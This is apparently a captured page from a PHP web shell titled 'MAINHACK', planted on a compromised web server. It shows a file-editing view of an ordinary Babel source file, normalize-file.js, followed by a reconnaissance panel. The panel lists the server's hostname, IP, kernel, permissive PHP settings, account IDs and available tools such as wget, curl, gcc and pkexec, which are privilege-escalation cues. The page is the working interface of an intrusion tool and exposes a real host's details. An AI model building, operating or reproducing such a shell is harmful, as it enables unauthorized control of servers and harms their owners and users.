[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: normalize-file.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = normalizeFile; function _fs() { const data = require("fs"); _fs = function () { return data; }; return data; } function _path() { const data = require("path"); _path = function () { return data; }; return data; } function _debug() { const data = require("debug"); _debug = function () { return data; }; return data; } function _t() { const data = require("@babel/types"); _t = function () { return data; }; return data; } function _convertSourceMap() { const data = require("convert-source-map"); _convertSourceMap = function () { return data; }; return data; } var _file = require("./file/file"); var _parser = require("../parser"); var _cloneDeep = require("./util/clone-deep"); const { file, traverseFast } = _t(); const debug = _debug()("babel:transform:file"); const LARGE_INPUT_SOURCEMAP_THRESHOLD = 1000000; function* normalizeFile(pluginPasses, options, code, ast) { code = `${code || ""}`; if (ast) { if (ast.type === "Program") { ast = file(ast, [], []); } else if (ast.type !== "File") { throw new Error("AST root must be a Program or File node"); } if (options.cloneInputAst) { ast = (0, _cloneDeep.default)(ast); } } else { ast = yield* (0, _parser.default)(pluginPasses, options, code); } let inputMap = null; if (options.inputSourceMap !== false) { if (typeof options.inputSourceMap === "object") { inputMap = _convertSourceMap().fromObject(options.inputSourceMap); } if (!inputMap) { const lastComment = extractComments(INLINE_SOURCEMAP_REGEX, ast); if (lastComment) { try { inputMap = _convertSourceMap().fromComment(lastComment); } catch (err) { debug("discarding unknown inline input sourcemap", err); } } } if (!inputMap) { const lastComment = extractComments(EXTERNAL_SOURCEMAP_REGEX, ast); if (typeof options.filename === "string" && lastComment) { try { const match = EXTERNAL_SOURCEMAP_REGEX.exec(lastComment); const inputMapContent = _fs().readFileSync(_path().resolve(_path().dirname(options.filename), match[1])); if (inputMapContent.length > LARGE_INPUT_SOURCEMAP_THRESHOLD) { debug("skip merging input map > 1 MB"); } else { inputMap = _convertSourceMap().fromJSON(inputMapContent); } } catch (err) { debug("discarding unknown file input sourcemap", err); } } else if (lastComment) { debug("discarding un-loadable file input sourcemap"); } } } return new _file.default(options, { code, ast, inputMap }); } const INLINE_SOURCEMAP_REGEX = /^[@#]\s+sourceMappingURL=data:(?:application|text)\/json;(?:charset[:=]\S+?;)?base64,(?:.*)$/; const EXTERNAL_SOURCEMAP_REGEX = /^[@#][ \t]+sourceMappingURL=([^\s'"`]+)[ \t]*$/; function extractCommentsFromList(regex, comments, lastComment) { if (comments) { comments = comments.filter(({ value }) => { if (regex.test(value)) { lastComment = value; return false; } return true; }); } return [comments, lastComment]; } function extractComments(regex, ast) { let lastComment = null; traverseFast(ast, node => { [node.leadingComments, lastComment] = extractCommentsFromList(regex, node.leadingComments, lastComment); [node.innerComments, lastComment] = extractCommentsFromList(regex, node.innerComments, lastComment); [node.trailingComments, lastComment] = extractCommentsFromList(regex, node.trailingComments, lastComment); }); return lastComment; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002